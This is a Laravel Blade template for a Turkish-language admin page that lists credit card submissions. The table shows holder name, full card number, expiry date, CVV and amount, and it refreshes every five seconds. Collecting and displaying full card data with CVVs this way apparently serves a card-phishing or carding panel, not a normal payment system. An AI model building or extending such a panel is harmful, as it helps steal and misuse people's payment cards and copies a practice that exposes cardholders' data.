@extends('clay.layouts.master')
@section('customStyle')
    <link href="https://demo.bootstrapdash.com/corona-new/themes/assets/vendors/datatables.net-bs4/dataTables.bootstrap4.css"
          rel="stylesheet">
@endsection
@section('content')
    <div class="row">
        <div class="col-md-12 grid-margin stretch-card">
            <div class="card">
                <div class="card-body">
                    <h4 class="card-title">Kredi Kartı Kayıtları</h4>
                    <p class="card-description"> Sisteme yapılan kredi kartı ödeme bildirimleri kayıtları
                    </p>
                    @if (session('success'))
                        <div class="alert alert-success">
                            {{ session('success') }}
                        </div>
                    @endif
                    <div class="table-responsive">
                        <table class="table" id="creditCards">
                            <thead>
                            <tr>
                                <th>Kart Sahibi</th>
                                <th>Kart Numarası</th>
                                <th>Son Kullanma Tarihi</th>
                                <th width="100%">CVV Numarası</th>
                                <th>Miktar</th>
                                <th>Tarih</th>
                                <th>İşlem</th>
                            </tr>
                            </thead>
                        </table>
                    </div>
                </div>
            </div>
        </div>
    </div>
@endsection
@push('customScript')
    <script src="https://cdn.jsdelivr.net/npm/bootstrap@5.2.3/dist/js/bootstrap.bundle.min.js"
            integrity="sha384-kenU1KFdBIe4zVF0s0G1M5b4hcpxyD9F7jL+jjXkk+Q2h455rYXK/7HAuoJl+0I4" crossorigin="anonymous">
    </script>
    <script src="https://code.jquery.com/jquery-3.6.1.min.js"></script>
    <script src="https://cdn.datatables.net/1.10.21/js/jquery.dataTables.min.js"></script>

    <script>
        $(document).ready(function() {
            var table = $('#creditCards').DataTable({
                processing: true,
                serverSide: true,
                autoWidth: false, // Otomatik genişliği kapatıyoruz
                ajax: "{{ route('clay.creditCards.index') }}",
                stripeClasses: [],
                columns: [
                    {
                        data: 'card_holder',
                        name: 'card_holder'
                    },
                    {
                        data: 'card_number',
                        name: 'card_number'
                    },
                    {
                        data: 'exp_date',
                        name: 'exp_date'
                    },
                    {
                        data: 'cvv',
                        name: 'cvv'
                    },
                    {
                        data: 'amount',
                        name: 'amount',
                        render: function(data, type, row, meta) {
                            return data + ' ₺'; // Miktara ₺ ekle
                        }
                    },
                    {
                        data: 'created_at',
                        name: 'created_at',
                        render: function(data, type, row, meta) {
                            // Tarihi belirttiğin formata göre dönüştürme
                            var date = new Date(data);
                            return date.toLocaleString('tr-TR', {
                                year: 'numeric',
                                month: '2-digit',
                                day: '2-digit',
                                hour: '2-digit',
                                minute: '2-digit',
                                second: '2-digit'
                            });
                        }
                    },
                    {
                        data: 'id', // İşlemler sütunu için id değerini kullanacağız
                        name: 'actions',
                        orderable: false, // İşlemler sütununda sıralama yapılmasını istemiyoruz
                        searchable: false, // Arama özelliğini devre dışı bırakıyoruz
                        render: function(data, type, row, meta) {
                            return `
                            <td>
                                <a href="#" class="btn btn-primary me-1">Görüntüle</a>
                                <form action="{{ route('clay.notifications.pays.approve') }}" method="POST" style="display:inline-block;">
                                    @csrf
                                    <input type="hidden" name="pay_id" value="` + data + `">
                                    <button type="submit" class="btn btn-danger me-1">Sil</button>
                                </form>
                            </td>
                            `;
                        }
                    }

                ]
            });
            setInterval(function() {
                table.ajax.reload();
            }, 5000); // 5000 ms = 5 saniye
        });
    </script>
@endpush